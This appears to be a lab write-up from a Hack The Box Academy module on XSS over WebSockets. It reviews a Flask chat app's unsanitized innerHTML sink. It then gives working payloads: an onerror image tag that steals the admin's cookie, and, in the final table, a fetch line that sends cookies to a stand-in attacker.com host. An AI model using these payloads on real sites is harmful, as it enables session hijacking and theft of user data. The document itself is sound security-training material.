Skip to content

Latest commit

 

History

History
197 lines (143 loc) · 6.3 KB

File metadata and controls

197 lines (143 loc) · 6.3 KB

Exploiting XSS via WebSockets

Like any other unsanitized input, embedding messages from a WebSocket connection into a website can lead to Cross-Site Scripting (XSS). If an attacker can send a malicious XSS payload to other users via WebSocket, causing it to be embedded in their browser's DOM, a valid XSS attack vector exists.


Code Review - Identifying the Vulnerability

Application Overview

Chat web application that allows users to send messages to the admin user via WebSockets.

Backend Analysis (server.py)

to_admin = queue.Queue()
to_user = queue.Queue()

@sock.route('/userws')
def userws(sock):
    while True:
        if not to_user.empty():
            msg = to_user.get()
            sock.send(msg)
        msg = sock.receive(timeout=1)
        if msg:
            to_admin.put(msg)

@sock.route('/adminws')
def adminws(sock):
    while True:
        if not to_admin.empty():
            msg = to_admin.get()
            sock.send(msg)
        msg = sock.receive(timeout=1)
        if msg:
            to_user.put(msg)

Flow:

  • User messages → to_admin queue → sent to admin via WebSocket
  • Admin messages → to_user queue → sent to user via WebSocket

Frontend Analysis (index.html)

<script>
    var form = document.getElementById("chatform");
    form.addEventListener('submit', sendMessage);
    const socket = new WebSocket('ws://' + location.host + '/userws');
    socket.addEventListener('message', ev => {
        log('Admin', ev.data);
    });
    function log (user, msg){
        var today = new Date();
        var time = today.getHours() + ":" + today.getMinutes() + ":" + today.getSeconds();
        document.getElementById('chat').innerHTML += `<div class="chat-message clearfix"><div class="chat-message-content clearfix"><span class="chat-time">${time}</span><h5>${user}</h5><p>${msg}</p></div></div><hr>`;
    }
    function sendMessage(event){
        event.preventDefault();
        let msg = document.getElementById("msg").value;
        socket.send(msg);
        log('You', msg);
        document.getElementById("msg").value = '';
    }
</script>

Vulnerability

document.getElementById('chat').innerHTML += `...<p>${msg}</p>...`;

Problem: Message added to DOM via innerHTML without any sanitization → XSS possible!


Local Testing

Setup

pip install Flask flask-sock
# Change port to 8000 (unprivileged)
python server.py

Open both endpoints:

  • User: http://127.0.0.1:8000/
  • Admin: http://127.0.0.1:8000/admin

PoC: HTML Injection

Send: <strike>PoC</strike>

Result in admin's browser: PoC (strikethrough text)

Confirmed: No sanitization applied!


Exploitation

Basic <script> Tag - FAILS

Sending: <script>alert(1)</script>

Result: Empty message displayed, NO alert popup!

Reason: HTML5 specification security measure:

"script elements inserted using innerHTML do not execute when they are inserted"

Event Handler Bypass

Use event handlers instead (see PayloadsAllTheThings):

<img src='x' onerror='alert(1)'>

Result: Alert popup in admin's browser! ✓


Question Walkthrough

Task: Obtain the admin user's cookie.

Step 1: Analyze Source Code

wget https://academy.hackthebox.com/storage/modules/231/src_websocket_xss.zip
unzip src_websocket_xss.zip

Key finding in frontend:

document.getElementById('chat').innerHTML += `...${msg}...`;

No sanitization → XSS via WebSocket messages.

Step 2: Craft Cookie Stealing Payload

Use socket.send() to exfiltrate admin's cookie back to us:

<img src="x" onerror="socket.send(document.cookie)">

Step 3: Send Payload

Send the XSS payload as a chat message.

Step 4: Receive Cookie

The admin's browser executes the payload:

  1. onerror triggers (invalid image src)
  2. socket.send(document.cookie) executes
  3. Admin's cookie sent back via WebSocket
  4. Cookie displayed in your chat!

Summary

┌─────────────────────────────────────────────────────────────────────────┐
│                      WebSocket XSS Attack Flow                          │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  User sends:  <img src="x" onerror="socket.send(document.cookie)">     │
│       │                                                                 │
│       ▼                                                                 │
│  Server → /userws → to_admin queue → /adminws                          │
│       │                                                                 │
│       ▼                                                                 │
│  Admin browser: innerHTML += msg  (NO SANITIZATION!)                   │
│       │                                                                 │
│       ▼                                                                 │
│  <img> tag rendered → onerror fires → socket.send(document.cookie)     │
│       │                                                                 │
│       ▼                                                                 │
│  Cookie sent back → /adminws → to_user queue → /userws → USER          │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

Key Payloads

Payload Purpose
<img src=x onerror=alert(1)> PoC - alert popup
<img src=x onerror=socket.send(document.cookie)> Steal cookies via WebSocket
<img src=x onerror=fetch('http://attacker.com/?c='+document.cookie)> Exfiltrate to external server